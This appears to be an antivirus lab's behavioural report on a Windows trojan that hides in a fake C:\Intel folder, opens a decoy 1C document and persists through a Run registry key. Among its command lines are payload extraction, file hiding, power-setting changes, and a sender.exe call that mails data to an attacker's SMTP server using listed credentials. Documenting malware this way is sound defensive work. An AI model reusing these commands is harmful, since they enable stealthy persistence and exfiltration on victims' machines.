Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'private' = 'C:\Intel\privat.exe'
Modifies file system
Creates the following files
- %TEMP%\$inst\2.tmp
- C:\intel\sender.exe
- C:\intel\bmcon.exe
- C:\intel\driver.exe
- C:\intel\sender.rar
- C:\intel\curl.exe
- C:\intel\setup2.if2
- C:\intel\readme-vga.txt
- C:\intel\mup.xml
- C:\intel\intcdauc.dll
- C:\intel\impcd.cat
- C:\intel\iglhxa32.vp
- C:\intel\igfxdevlib.dll
- C:\intel\gfxui.exe.config
- C:\intel\bmcon.json
- C:\intel\enable.cmd
- C:\intel\1c - ГЇГ«aГІiГ¦Гe Г¤opГіГ·eГГГї В№14729636725 - 2019.doc
- %TEMP%\$inst\temp_0.tmp
- C:\intel\privat.exe
- nul
Deletes the following files
- %TEMP%\$inst\temp_0.tmp
- %TEMP%\$inst\2.tmp
- C:\intel\1c - ГЇГ«aГІiГ¦Гe Г¤opГіГ·eГГГї В№14729636725 - 2019.doc
Network activity
UDP
- DNS ASK dl.###wsermine.com
- DNS ASK sm##.##fice-center.site
Miscellaneous
Creates and executes the following
- 'C:\intel\driver.exe' e -hplimpid2903392 C:\Intel\sender.rar bmcon.exe C:\ntel\bmcon.exe /y
- 'C:\intel\bmcon.exe'
- 'C:\intel\driver.exe' e -hplimpid2903392 C:\Intel\sender.rar sender.exe C:\ntel\sender.exe /y
- 'C:\intel\sender.exe' -to recipient@office-center.site -f "Robot2<sender2@office-center.site>" -server smtp.office-center.site -port 587 -u sender2@office-center.site -pw epsiloneridana -subject "ttqjvxfrzeva/user"...
- 'C:\intel\driver.exe' e -hplimpid2903392 C:\Intel\sender.rar privat.exe C:\ntel\privat.exe /y
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\Intel\enable.cmd" "' (with hidden window)
- 'C:\intel\driver.exe' e -hplimpid2903392 C:\Intel\sender.rar bmcon.exe C:\ntel\bmcon.exe /y' (with hidden window)
- 'C:\intel\bmcon.exe' ' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\winword.exe' /n "C:\Intel\1C - ГЇГ«aГІiГ¦Гe Г¤opГіГ·eГГГї В№14729636725 - 2019.doc"
- '%WINDIR%\syswow64\find.exe' "="
- '%WINDIR%\syswow64\wbem\wmic.exe' /Node:localhost Path Win32_VideoController Get Name /Value
- '%WINDIR%\syswow64\cmd.exe' /c WMIC /Node:localhost Path Win32_VideoController Get Name /Value| FIND.EXE "="
- '%WINDIR%\syswow64\findstr.exe' .
- '%WINDIR%\syswow64\wbem\wmic.exe' CPU Get Name /Value
- '%WINDIR%\syswow64\cmd.exe' /c WMIC CPU Get Name /Value|FindStr .
- '%WINDIR%\syswow64\cmd.exe' /c ver
- '%WINDIR%\syswow64\attrib.exe' +s +h C:\Intel\bmcon
- '%WINDIR%\syswow64\attrib.exe' +s +h C:\Intel
- '%WINDIR%\syswow64\powercfg.exe' -h off
- '%WINDIR%\syswow64\powercfg.exe' -change -hibernate-timeout-ac 0
- '%WINDIR%\syswow64\powercfg.exe' -change -standby-timeout-ac 0
- '%WINDIR%\syswow64\powercfg.exe' -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
- '%WINDIR%\syswow64\reg.exe' delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "╨Гї╨╜╤Г©╨╡╨│╤Г‡╨╕╤Г‡╨╛╨▓╨░╨╜╨╜╤ГЇ╨╡_╨┤╤Г‡╨░╨╣╨▓╨╡╤Г‡╨░" /f
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\Intel\enable.cmd" "
- '%WINDIR%\syswow64\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v private /t reg_sz /d "C:\Intel\privat.exe" /f
- '%WINDIR%\syswow64\ping.exe' -n 3600 127.0.0.1
